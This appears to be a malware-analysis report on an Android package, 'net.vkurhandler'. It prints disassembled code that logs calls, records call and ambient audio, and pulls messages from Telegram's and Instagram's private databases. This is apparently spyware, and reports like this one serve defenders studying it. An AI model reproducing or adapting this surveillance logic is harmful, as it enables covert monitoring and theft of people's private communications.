                    368const/4 v9, 0x1
                    369const-wide/16 v10, 0x3e8
                    370mul-long v10, v10, v18
                    372invoke-static {v9, v10, v11}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    373move-result-object v9
                    375invoke-virtual {v5, v3, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    377const-string v3, "phone_number"
                    379invoke-virtual {v5, v3, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    381const-string v3, "name"
                    383invoke-virtual {v5, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    385const-string v3, "duration"
                    387invoke-virtual {v5, v3, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    389const-string v3, "call_id"
                    390move-wide/from16 v0, v18
                    392invoke-virtual {v5, v3, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    394const-string v3, "bat_level"
                    395move-object/from16 v0, p0
                    397iget-object v6, v0, Lnet/vkurhandler/do;->d:Landroid/content/Context;
                    399invoke-static {v6}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    400move-result-object v6
                    402invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    403move-result-object v6
                    405invoke-virtual {v6}, Lnet/vkurhandler/ce;->a()I
                    406move-result v6
                    408invoke-virtual {v5, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    410const-string v3, "charger"
                    411move-object/from16 v0, p0
                    413iget-object v6, v0, Lnet/vkurhandler/do;->d:Landroid/content/Context;
                    415invoke-static {v6}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    416move-result-object v6
                    418invoke-virtual {v6}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    419move-result-object v6
                    421invoke-virtual {v6}, Lnet/vkurhandler/ce;->b()Z
                    422move-result v6
                    424invoke-virtual {v5, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    425move-object/from16 v0, p0
                    427iget-object v3, v0, Lnet/vkurhandler/do;->d:Landroid/content/Context;
                    429invoke-static {v3, v5}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    430move v3, v12
                    431goto/16 :goto_6b
                    432cond_26e: const/4 v3, 0x0
                    433move v11, v3
                    434goto/16 :goto_b2
                    435cond_272: const/4 v3, 0x1
                    436goto/16 :goto_213
                    437cond_274: move-object/from16 v0, p0
                    439invoke-virtual {v0, v10, v9, v3}, Lnet/vkurhandler/do;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    440move-result v6
                    441if-eqz v6, :cond_2c6
                    443invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    444move-result-object v6
                    446const-string v7, "type"
                    447const/4 v8, 0x1
                    449invoke-virtual {v6, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    451const-string v7, "sub_type"
                    452const/16 v8, 0x14
                    454invoke-virtual {v6, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    456const-string v7, "date"
                    457const/4 v8, 0x1
                    458const-wide/16 v16, 0x3e8
                    459mul-long v16, v16, v18
                    460move-wide/from16 v0, v16
                    462invoke-static {v8, v0, v1}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    463move-result-object v8
                    465invoke-virtual {v6, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    467const-string v7, "message"
                    469invoke-virtual {v6, v7, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    471const-string v7, "sender"
                    473invoke-virtual {v6, v7, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    475const-string v7, "peer"
                    477invoke-virtual {v6, v7, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    479const-string v3, ""
                    481invoke-virtual {v5, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    482move-result v3
                    483if-nez v3, :cond_2b9
                    485const-string v3, "group_name"
                    487invoke-virtual {v6, v3, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    488cond_2b9:
                    489const-string v3, "is_out"
                    491invoke-virtual {v6, v3, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    493const-string v3, "dialog_id"
                    495invoke-virtual {v6, v3, v13}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    497invoke-static {v6}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    498try_end_2c6: move v3, v12
                    499goto/16 :goto_6b
                    500catch_2c9: move-exception v2
                    501move-object v4, v3
                    502move-object v3, v10
                    503try_start_2cc:
                    504const-string v5, "RTTelegram"
                    506invoke-static {v5, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    507try_end_2d1: if-eqz v3, :cond_2d6
                    508try_start_2d3:
                    509invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    510cond_2d6: if-eqz v4, :cond_9b
                    512invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    513move-result v2
                    514if-eqz v2, :cond_9b
                    516invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    517try_end_2e1: goto/16 :goto_9b
                    518catch_2e3: move-exception v2
                    520const-string v3, "RTTelegram"
                    522invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    523goto/16 :goto_9b
                    524catchall_2eb: move-exception v2
                    525move-object v4, v10
                    526goto_2ed: if-eqz v4, :cond_2f2
                    527try_start_2ef:
                    528invoke-interface {v4}, Landroid/database/Cursor;->close()V
                    529cond_2f2: if-eqz v3, :cond_2fd
                    531invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    532move-result v4
                    533if-eqz v4, :cond_2fd
                    535invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    536try_end_2fd: throw v2
                    537catch_2fe: move-exception v3
                    539const-string v4, "RTTelegram"
                    541invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    542goto/16 :goto_2fd
                    543catch_305: move-exception v2
                    545const-string v3, "RTTelegram"
                    547invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    548goto/16 :goto_9b
                    549catchall_30d: move-exception v3
                    550move-object v4, v10
                    551move-object/from16 v24, v3
                    552move-object v3, v2
                    553move-object/from16 v2, v24
                    554goto/16 :goto_2ed
                    555catchall_315: move-exception v3
                    556move-object/from16 v24, v3
                    557move-object v3, v2
                    558move-object/from16 v2, v24
                    559goto/16 :goto_2ed
                    560catchall_31c: move-exception v2
                    561move-object/from16 v24, v3
                    562move-object v3, v4
                    563move-object/from16 v4, v24
                    564goto/16 :goto_2ed
                    565catch_323: move-exception v3
                    566move-object v4, v2
                    567move-object v2, v3
                    568move-object v3, v10
                    569goto/16 :goto_2cc
                    570catch_328: move-exception v3
                    571move-object/from16 v24, v3
                    572move-object v3, v4
                    573move-object v4, v2
                    574move-object/from16 v2, v24
                    575goto/16 :goto_2cc
                    576cond_330: move-object/from16 v24, v3
                    577move-object v3, v8
                    578move v8, v7
                    579move-object v7, v6
                    580move-object v6, v5
                    581move-object/from16 v5, v24
                    582goto/16 :goto_19a
                    583cond_33a: move-object v4, v10
                    584goto/16 :goto_8b
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.Intent.getStringExtra
                    • net.vkurhandler.CallReceiver.a
                    • java.lang.Integer.valueOf
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.content.Intent.getExtras
                    • android.os.Bundle.getString
                    • android.text.TextUtils.isEmpty
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.CallReceiver.a
                    • java.lang.String.valueOf
                    • java.lang.String.valueOf
                    • java.lang.String.valueOf
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.MyApp.f
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.f
                    • android.content.SharedPreferences.getLong
                    • android.content.SharedPreferences.getInt
                    • java.lang.System.currentTimeMillis
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.CallReceiver.a
                    • java.lang.System.currentTimeMillis
                    • java.lang.System.currentTimeMillis
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    Strings
                    • state
                    • CallReceiver
                    • else->LastCallInfo.getState:%d,callDeviceState:%d
                    • incoming_number
                    • unknown#4
                    • unknown ringing incoming call state:%d
                    • Start call,phoneNumber:
                    • ,timestamp:
                    • ,callId:
                    • ,recordCall:
                    • audiorecord_type
                    • type
                    • sub_type
                    • date
                    • call_type
                    • call_id
                    • phone_number
                    • name
                    • file_name
                    • absolute_file_path
                    • unknown offhook incoming call state:%d
                    • transmit_calls
                    • duration
                    • bat_level
                    • charger
                    • end_time_arecord
                    • record_env_after_end_call
                    • unknown idle call state:%d
                    • unknown idle incoming call state:%d
                    Position Instruction Meta Information
                    1invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    2move-result-object v4
                    4invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    5move-result-object v5
                    7invoke-static {v5}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;)I
                    8move-result v6
                    10const-string v0, "state"
                    12invoke-virtual {p2, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
                    13move-result-object v0
                    15invoke-static {v0}, Lnet/vkurhandler/CallReceiver;->a(Ljava/lang/String;)I
                    16move-result v0
                    18invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    19move-result v1
                    20if-eqz v1, :cond_38
                    22const-string v1, "CallReceiver"
                    24const-string v2, "else->LastCallInfo.getState:%d,callDeviceState:%d"
                    25const/4 v3, 0x2
                    26new-array v3, v3, [Ljava/lang/Object;
                    27const/4 v7, 0x0
                    29invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    30move-result-object v8
                    31aput-object v8, v3, v7
                    32const/4 v7, 0x1
                    34invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    35move-result-object v8
                    36aput-object v8, v3, v7
                    38invoke-static {v2, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    39move-result-object v2
                    41invoke-static {v1, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    42cond_38: packed-switch v0, :pswitch_data_27a
                    43cond_3b: return-void
                    44pswitch_3c: if-nez v6, :cond_5d
                    46invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
                    47move-result-object v0
                    49const-string v1, "incoming_number"
                    51invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                    52move-result-object v0
                    54invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    55move-result v1
                    56if-eqz v1, :cond_58
                    58const-string v0, "unknown#4"
                    59goto_50: const/4 v1, 0x1
                    61invoke-static {v5, v1}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;I)V
                    63invoke-static {v5, v0}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;Ljava/lang/String;)V
                    64goto/16 :goto_3b
                    65cond_58:
                    66invoke-static {v0}, Lnet/vkurhandler/gn;->e(Ljava/lang/String;)Ljava/lang/String;
                    67move-result-object v0
                    68goto/16 :goto_50
                    69cond_5d:
                    70invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    71move-result v0
                    72if-eqz v0, :cond_3b
                    74const-string v0, "CallReceiver"
                    76const-string v1, "unknown ringing incoming call state:%d"
                    77const/4 v2, 0x1
                    78new-array v2, v2, [Ljava/lang/Object;
                    79const/4 v3, 0x0
                    81invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    82move-result-object v4
                    83aput-object v4, v2, v3
                    85invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    86move-result-object v1
                    88invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    89goto/16 :goto_3b
                    90pswitch_79: const/4 v0, 0x0
                    91const/4 v1, 0x1
                    92if-ne v6, v1, :cond_12e
                    93const/4 v1, 0x3
                    94if-eq v6, v1, :cond_12e
                    95const/4 v0, 0x3
                    97invoke-static {v5, v0}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;I)V
                    98const/4 v0, 0x1
                    99goto_85: if-eqz v0, :cond_3b
                    101invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    102move-result-wide v2
                    104invoke-static {v5, v2, v3}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;J)V
                    106invoke-static {v5}, Lnet/vkurhandler/ad;->b(Landroid/content/SharedPreferences;)Ljava/lang/String;
                    107move-result-object v1
                    109invoke-static {v5, v1}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/SharedPreferences;Ljava/lang/String;)Z
                    110move-result v5
                    112invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    113move-result v6
                    114if-eqz v6, :cond_d1
                    116const-string v6, "CallReceiver"
                    117const/16 v7, 0x8
                    118new-array v7, v7, [Ljava/lang/String;
                    119const/4 v8, 0x0
                    121const-string v9, "Start call,phoneNumber:"
                    122aput-object v9, v7, v8
                    123const/4 v8, 0x1
                    124aput-object v1, v7, v8
                    125const/4 v8, 0x2
                    127const-string v9, ",timestamp:"
                    128aput-object v9, v7, v8
                    129const/4 v8, 0x3
                    131invoke-static {v2, v3}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                    132move-result-object v9
                    133aput-object v9, v7, v8
                    134const/4 v8, 0x4
                    136const-string v9, ",callId:"
                    137aput-object v9, v7, v8
                    138const/4 v8, 0x5
                    140invoke-static {v2, v3}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                    141move-result-object v9
                    142aput-object v9, v7, v8
                    143const/4 v8, 0x6
                    145const-string v9, ",recordCall:"
                    146aput-object v9, v7, v8
                    147const/4 v8, 0x7
                    149invoke-static {v5}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
                    150move-result-object v9
                    151aput-object v9, v7, v8
                    153invoke-static {v6, v7}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    154cond_d1: if-eqz v5, :cond_3b
                    155sget-boolean v5, Lnet/vkurhandler/MyApp;->a:Z
                    156if-nez v5, :cond_3b
                    158invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    159move-result-object v5
                    161invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    162move-result-object v6
                    164const-string v7, "audiorecord_type"
                    165const/4 v8, 0x1
                    167invoke-virtual {v5, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    169const-string v7, "type"
                    170const/4 v8, 0x2
                    172invoke-virtual {v5, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    174const-string v7, "sub_type"
                    175const/4 v8, 0x2
                    177invoke-virtual {v5, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    179const-string v7, "date"
                    180const/4 v8, 0x1
                    182invoke-static {v8, v2, v3}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    183move-result-object v8
                    185invoke-virtual {v5, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    187const-string v7, "call_type"
                    189invoke-virtual {v5, v7, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    191const-string v0, "call_id"
                    193invoke-virtual {v5, v0, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    195const-string v0, "phone_number"
                    197invoke-virtual {v5, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    199const-string v0, "name"
                    201invoke-static {p1, v1}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    202move-result-object v1
                    204invoke-virtual {v5, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    206const-string v0, "file_name"
                    208invoke-virtual {v6}, Ljava/io/File;->getName()Ljava/lang/String;
                    209move-result-object v1
                    211invoke-virtual {v5, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    213const-string v0, "absolute_file_path"
                    215invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    216move-result-object v1
                    218invoke-virtual {v5, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    220invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    221move-result-object v0
                    223invoke-virtual {v0, v5}, Lnet/vkurhandler/v;->a(Lnet/vkurhandler/be;)V
                    224goto/16 :goto_3b
                    225cond_12e: const/4 v1, 0x2
                    226if-ne v6, v1, :cond_13b
                    227const/4 v1, 0x4
                    228if-eq v6, v1, :cond_13b
                    229const/4 v0, 0x4
                    231invoke-static {v5, v0}, Lnet/vkurhandler/ad;->a(Landroid/content/SharedPreferences;I)V
                    232const/4 v0, 0x2
                    233goto/16 :goto_85
                    234cond_13b:
                    235invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    236move-result v1
                    237if-eqz v1, :cond_85
                    239const-string v1, "CallReceiver"
                    241const-string v2, "unknown offhook incoming call state:%d"
                    242const/4 v3, 0x1
                    243new-array v3, v3, [Ljava/lang/Object;
                    244const/4 v7, 0x0
                    246invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    247move-result-object v6
                    248aput-object v6, v3, v7
                    250invoke-static {v2, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    251move-result-object v2
                    253invoke-static {v1, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    254goto/16 :goto_85
                    255pswitch_158: if-eqz v6, :cond_25e
                    256const/4 v3, 0x0
                    257const/4 v2, -0x1
                    259invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    260move-result-wide v0
                    261packed-switch v6, :pswitch_data_284
                    262goto_163: if-eqz v3, :cond_242
                    264invoke-static {v5}, Lnet/vkurhandler/ad;->b(Landroid/content/SharedPreferences;)Ljava/lang/String;
                    265move-result-object v6
                    267invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    268move-result-object v7
                    270const-string v8, "transmit_calls"
                    271const/4 v9, 0x0
                    273invoke-interface {v7, v8, v9}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    274move-result v7
                    275if-eqz v7, :cond_1ce
                    276sget-boolean v7, Lnet/vkurhandler/MyApp;->a:Z
                    277if-nez v7, :cond_1ce
                    279invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    280move-result-object v7
                    282const-string v8, "type"
                    283const/4 v9, 0x1
                    285invoke-virtual {v7, v8, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    287const-string v8, "sub_type"
                    288const/4 v9, 0x3
                    290invoke-virtual {v7, v8, v9}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    292const-string v8, "call_type"
                    294invoke-virtual {v7, v8, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    296const-string v3, "date"
                    297const/4 v8, 0x1
                    299invoke-static {v8, v0, v1}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    300move-result-object v8
                    302invoke-virtual {v7, v3, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    304const-string v3, "phone_number"
                    306invoke-virtual {v7, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    308const-string v3, "name"
                    310invoke-static {p1, v6}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    311move-result-object v6
                    313invoke-virtual {v7, v3, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    315const-string v3, "duration"
                    317invoke-virtual {v7, v3, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    319const-string v2, "call_id"
                    321invoke-virtual {v7, v2, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    323const-string v0, "bat_level"
                    325invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    326move-result-object v1
                    328invoke-virtual {v1}, Lnet/vkurhandler/ce;->a()I
                    329move-result v1
                    331invoke-virtual {v7, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    333const-string v0, "charger"
                    335invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    336move-result-object v1
                    338invoke-virtual {v1}, Lnet/vkurhandler/ce;->b()Z
                    339move-result v1
                    341invoke-virtual {v7, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    343invoke-static {p1, v7}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    344cond_1ce:
                    345invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    346move-result-object v0
                    348invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    349move-result-object v0
                    351invoke-virtual {v0}, Lnet/vkurhandler/v;->e()I
                    352move-result v1
                    353const/4 v2, 0x1
                    354if-ne v1, v2, :cond_1e0
                    356invoke-virtual {v0}, Lnet/vkurhandler/v;->c()V
                    357cond_1e0:
                    358const-string v1, "end_time_arecord"
                    359const-wide/16 v2, 0x0
                    361invoke-interface {v5, v1, v2, v3}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    362move-result-wide v2
                    364invoke-virtual {v0, v2, v3}, Lnet/vkurhandler/v;->a(J)Z
                    365move-result v1
                    366if-nez v1, :cond_210
                    368const-string v1, "record_env_after_end_call"
                    369const/4 v2, 0x0
                    371invoke-interface {v5, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    372move-result v1
                    373mul-int/lit16 v1, v1, 0x3e8
                    374if-lez v1, :cond_210
                    376invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    377move-result-wide v2
                    378int-to-long v6, v1
                    379add-long/2addr v2, v6
                    381invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    382move-result-object v4
                    384const-string v6, "end_time_arecord"
                    386invoke-interface {v4, v6, v2, v3}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    387move-result-object v2
                    389invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    390int-to-long v2, v1
                    392invoke-virtual {v0, v2, v3}, Lnet/vkurhandler/v;->b(J)V
                    393cond_210: const/4 v0, 0x3
                    395invoke-static {v5, v0}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/SharedPreferences;I)V
                    396goto/16 :goto_3b
                    397pswitch_216: const/4 v3, 0x2
                    399invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    400move-result-wide v0
                    402invoke-static {v5}, Lnet/vkurhandler/ad;->c(Landroid/content/SharedPreferences;)J
                    403move-result-wide v8
                    404sub-long/2addr v0, v8
                    405const-wide/16 v8, 0x3e8
                    406div-long/2addr v0, v8
                    407long-to-int v2, v0
                    409invoke-static {v5}, Lnet/vkurhandler/ad;->c(Landroid/content/SharedPreferences;)J
                    410move-result-wide v0
                    411goto/16 :goto_163
                    412pswitch_22a: const/4 v3, 0x1
                    414invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    415move-result-wide v0
                    417invoke-static {v5}, Lnet/vkurhandler/ad;->c(Landroid/content/SharedPreferences;)J
                    418move-result-wide v8
                    419sub-long/2addr v0, v8
                    420const-wide/16 v8, 0x3e8
                    421div-long/2addr v0, v8
                    422long-to-int v2, v0
                    424invoke-static {v5}, Lnet/vkurhandler/ad;->c(Landroid/content/SharedPreferences;)J
                    425move-result-wide v0
                    426goto/16 :goto_163
                    427pswitch_23e: const/4 v3, 0x3
                    428const/4 v2, 0x0
                    429goto/16 :goto_163
                    430cond_242:
                    431invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    432move-result v0
                    433if-eqz v0, :cond_210
                    435const-string v0, "CallReceiver"
                    437const-string v1, "unknown idle call state:%d"
                    438const/4 v2, 0x1
                    439new-array v2, v2, [Ljava/lang/Object;
                    440const/4 v3, 0x0
                    442invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    443move-result-object v4
                    444aput-object v4, v2, v3
                    446invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    447move-result-object v1
                    449invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    450goto/16 :goto_210
                    451cond_25e:
                    452invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    453move-result v0
                    454if-eqz v0, :cond_210
                    456const-string v0, "CallReceiver"
                    458const-string v1, "unknown idle incoming call state:%d"
                    459const/4 v2, 0x1
                    460new-array v2, v2, [Ljava/lang/Object;
                    461const/4 v3, 0x0
                    463invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    464move-result-object v4
                    465aput-object v4, v2, v3
                    467invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    468move-result-object v1
                    470invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    471goto/16 :goto_210
                    APIs
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.di.a
                    • net.vkurhandler.di.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.di.k:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.di.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.di.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getString
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • java.lang.Integer.valueOf
                    • java.lang.Boolean.valueOf
                    • java.lang.Long.valueOf
                    • java.lang.String.format
                    • net.vkurhandler.di.a
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • net.vkurhandler.di.b
                    • net.vkurhandler.di.a
                    • org.json.JSONObject.getString
                    • net.vkurhandler.di.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/com.instagram.android/databases/*
                    • 0777
                    • /data/data/com.instagram.android/databases/
                    • /data/data/com.instagram.android/databases/direct.db
                    • last_inst_update_date
                    • messages
                    • message_type=\'text\' AND timestamp >
                    • unknown#1
                    • unknown#2
                    • text
                    • user
                    • username
                    • id
                    • RTInstagram
                    • %s,%s,%d,%s,%b,%s,%d
                    • type
                    • sub_type
                    • date
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    • group_name
                    • user_id
                    Position Instruction Meta Information
                    0const/4 v3, 0x0
